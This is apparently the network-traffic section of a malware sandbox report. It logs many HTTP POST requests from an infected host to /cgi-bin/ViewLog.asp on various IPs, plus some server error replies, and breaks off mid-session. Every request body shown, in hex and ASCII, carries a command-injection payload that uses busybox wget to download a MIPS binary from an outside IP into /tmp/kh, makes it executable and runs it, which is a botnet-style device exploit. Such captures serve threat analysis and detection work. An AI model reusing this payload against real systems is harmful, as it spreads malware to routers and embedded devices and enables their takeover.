                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                376192.168.2.153937894.121.152.438080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:31.095709085 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                377192.168.2.154871062.29.118.1728080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:31.095885992 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                378192.168.2.155592694.120.97.2188080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:31.096669912 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                379192.168.2.155303694.121.139.2128080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:31.097038031 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                380192.168.2.155297262.24.187.578080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:33.523776054 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:33.697752953 CET1012INHTTP/1.1 404
                                                Content-Type: text/html;charset=utf-8
                                                Content-Language: en
                                                Content-Length: 774
                                                Date: Thu, 23 Nov 2023 04:21:33 GMT
                                                Keep-Alive: timeout=20
                                                Connection: keep-alive
                                                Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 62 6f 64 79 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 68 31 2c 20 68 32 2c 20 68 33 2c 20 62 20 7b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 68 31 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 68 32 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 68 33 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 70 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 20 61 20 7b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 7d 20 2e 6c 69 6e 65 20 7b 68 65 69 67 68 74 3a 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 68 72 20 63 6c 61 73 73 3d 22 6c 69 6e 65 22 20 2f 3e 3c 70 3e 3c 62 3e 54 79 70 65 3c 2f 62 3e 20 53 74 61 74 75 73 20 52 65 70 6f 72 74 3c 2f 70 3e 3c 70 3e 3c 62 3e 4d 65 73 73 61 67 65 3c 2f 62 3e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 5b 26 23 34 37 3b 63 67 69 2d 62 69 6e 26 23 34 37 3b 56 69 65 77 4c 6f 67 2e 61 73 70 5d 20 69 73 20 6e 6f 74 20 61 76 61 69 6c 61 62 6c 65 3c 2f 70 3e 3c 70 3e 3c 62 3e 44 65 73 63 72 69 70 74 69 6f 6e 3c 2f 62 3e 20 54 68 65 20 6f 72 69 67 69 6e 20 73 65 72 76 65 72 20 64 69 64 20 6e 6f 74 20 66 69 6e 64 20 61 20 63 75 72 72 65 6e 74 20 72 65 70 72 65 73 65 6e 74 61 74 69 6f 6e 20 66 6f 72 20 74 68 65 20 74 61 72 67 65 74 20 72 65 73 6f 75 72 63 65 20 6f 72 20 69 73 20 6e 6f 74 20 77 69 6c 6c 69 6e 67 20 74 6f 20 64 69 73 63 6c 6f 73 65 20 74 68 61 74 20 6f 6e 65 20 65 78 69 73 74 73 2e 3c 2f 70 3e 3c 68 72 20 63 6c 61 73 73 3d 22 6c 69 6e 65 22 20 2f 3e 3c 68 33 3e 41 70 61 63 68 65 20 54 6f 6d 63 61 74 2f 38 2e 35 2e 35 37 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e
                                                Data Ascii: <!doctype html><html lang="en"><head><title>HTTP Status 404 Not Found</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 404 Not Found</h1><hr class="line" /><p><b>Type</b> Status Report</p><p><b>Message</b> The requested resource [&#47;cgi-bin&#47;ViewLog.asp] is not available</p><p><b>Description</b> The origin server did not find a current representation for the target resource or is not willing to disclose that one exists.</p><hr class="line" /><h3>Apache Tomcat/8.5.57</h3></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                381192.168.2.156024485.208.120.1558080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:33.571043015 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:33.796092987 CET1340INHTTP/1.0 400 Bad Request
                                                Server: squid/3.1.23
                                                Mime-Version: 1.0
                                                Date: Thu, 23 Nov 2023 03:53:54 GMT
                                                Content-Type: text/html
                                                Content-Length: 3167
                                                X-Squid-Error: ERR_INVALID_URL 0
                                                Connection: close
                                                Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 20 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 20 20 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 66 65 66 65 66 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 09 63 6f 6c 6f 72 3a 20 23 31 65 31 65 31 65 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 74 69 74 6c 65 20 61 72 65 61 20 2a 2f 0a 23 74 69 74 6c 65 73 20 7b 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 35 70 78 3b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 30 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 68 74 74 70 3a 2f 2f 77 77 77 2e 73 71 75 69 64 2d 63 61 63 68 65 2e 6f 72 67 2f 41 72 74 77 6f 72 6b 2f 53 4e 2e 70 6e 67 27 29 20 6e 6f 2d 72 65 70 65 61 74 20 6c 65 66 74 3b 0a 7d 0a 0a 2f 2a 20 69 6e 69 74 69 61 6c 20 74 69 74 6c 65 20 2a 2f 0a 23 74 69 74 6c 65 73 20 68 31 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 23 74 69 74 6c 65 73 20 68 32 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 0a 2f 2a 20 73 70 65 63 69 61 6c 20 65 76 65 6e 74 3a 20 46 54 50 20 73 75 63 63 65 73 73 20 70 61 67 65 20 74 69 74 6c 65 73 20 2a 2f 0a 23 74 69 74 6c 65 73 20 66 74 70 73 75 63 63 65 73 73 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 66 66 30 30 3b 0a 09 77 69 64 74 68 3a 31 30 30 25 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 62 6f 64 79 20 63 6f 6e 74 65 6e 74 20 61 72 65 61 20 2a 2f 0a 23 63 6f 6e 74 65 6e 74 20 7b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 66 66 66
                                                Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html><head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>ERROR: The requested URL could not be retrieved</title> <style type="text/css">... /* Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License*//* Page basics */* {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background: #efefef;font-size: 12px;color: #1e1e1e;}/* Page displayed title area */#titles {margin-left: 15px;padding: 10px;padding-left: 100px;background: url('http://www.squid-cache.org/Artwork/SN.png') no-repeat left;}/* initial title */#titles h1 {color: #000000;}#titles h2 {color: #000000;}/* special event: FTP success page titles */#titles ftpsuccess {background-color:#00ff00;width:100%;}/* Page displayed body content area */#content {padding: 10px;background: #ffffff


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                382192.168.2.154733231.136.17.968080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:33.759428978 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:34.330465078 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:35.482430935 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:37.850418091 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:42.458338976 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:51.673971891 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:10.361464024 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:47.224432945 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                383192.168.2.154967695.163.243.1148080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:33.790636063 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:34.013103962 CET212INHTTP/1.1 404 Not Found
                                                Content-Type: text/plain
                                                Date: Thu, 23 Nov 2023 04:21:33 GMT
                                                Content-Length: 18
                                                Connection: close
                                                Data Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64
                                                Data Ascii: 404 page not found


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                384192.168.2.155982894.20.96.1728080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:33.956554890 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
